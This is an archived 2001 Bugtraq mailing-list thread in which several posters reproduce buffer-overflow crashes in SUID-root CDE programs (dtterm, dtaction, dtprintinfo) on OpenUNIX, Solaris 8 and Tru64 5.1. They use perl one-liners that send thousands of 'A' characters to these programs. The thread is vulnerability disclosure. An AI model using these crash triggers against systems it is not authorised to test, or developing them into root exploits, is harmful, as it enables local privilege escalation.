RE: OpenUNIX 8 & Unixware possible local root

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This also works for the following on Tru64 5.1;

$ /usr/dt/bin/dtaction `perl -e 'print "A"x8203'`
Memory fault(coredump)

$ /usr/dt/bin/dtprintinfo -session `perl -e 'print
"A"x8203'`
Memory fault(coredump)

All of these; dtterm, dtaction and dtprintinfo
are SUID root by default.

--- Bob Dog <bobdog@drunk.co.nz>
> wrote:
>I could reproduce this on True64 5.1 on an AlphaStation
>but I had to go all the way to 8203. Using values
>below 4590 caused no problems. Starting at values
>of 4590 up to 8202 a dtterm window will open normally
>and everything seems normal but the 'clear' command
>will cause a coredump. However, the teminal window will
>still remain active. Other commands don't seem to cause
>problems.
>
>$ uname -a
>OSF1 red5 V5.1 732 alpha
>$ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x8203'`
>Memory fault(coredump)
>
>Bob
>
>
>--- "Cushing, David" <David.Cushing@hitachisoftware.com>
>> wrote:
>>I was able to reproduce this on a Solaris 8 sparc machine with different
>>tolerances:
>>
>>[288] uname -a
>>SunOS hostname 5.8 Generic_108528-08 sun4u sparc SUNW,Ultra-60
>>[289] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1083'`
>>Segmentation Fault(coredump)
>>[297] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x2083'`
>>Bus Error(coredump)
>>ginger:dcushing[298]=20
>>
>>-David
>>
>>> -----Original Message-----
>>> From: Aycan Irican [mailto:aycan@mars.prosoft.com.tr]
>>> Sent: Tuesday, October 02, 2001 1:55 AM
>>> To: bugtraq@securityfocus.com
>>> Cc: evrim@envy.com.tr
>>> Subject: OpenUNIX 8 & Unixware possible local root
>>>=20
>>>=20
>>> -----BEGIN PGP SIGNED MESSAGE-----
>>> Hash: SHA1
>>>=20
>>> Another dt series bug...
>>>=20
>>> $ uname -a=20
>>> OpenUNIX zen 5 8.0.0 i386 x86at Caldera UNIX_SVR5=20
>>> $ id=20
>>> uid=3D101(fixxxer) gid=3D1(other)=20
>>> $ ls -al /usr/dt/bin/dtterm=20
>>> - -r-sr-xr-x 1 root bin 60892 Haz 10 05:03=20
>>> /usr/dt/bin/dtterm=20
>>> $ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'`=20
>>> Warning: Missing charsets in String to FontSet conversion=20
>>> Warning: Missing charsets in String to FontSet conversion=20
>>> Memory fault=20
>>> .. snip ..=20
>
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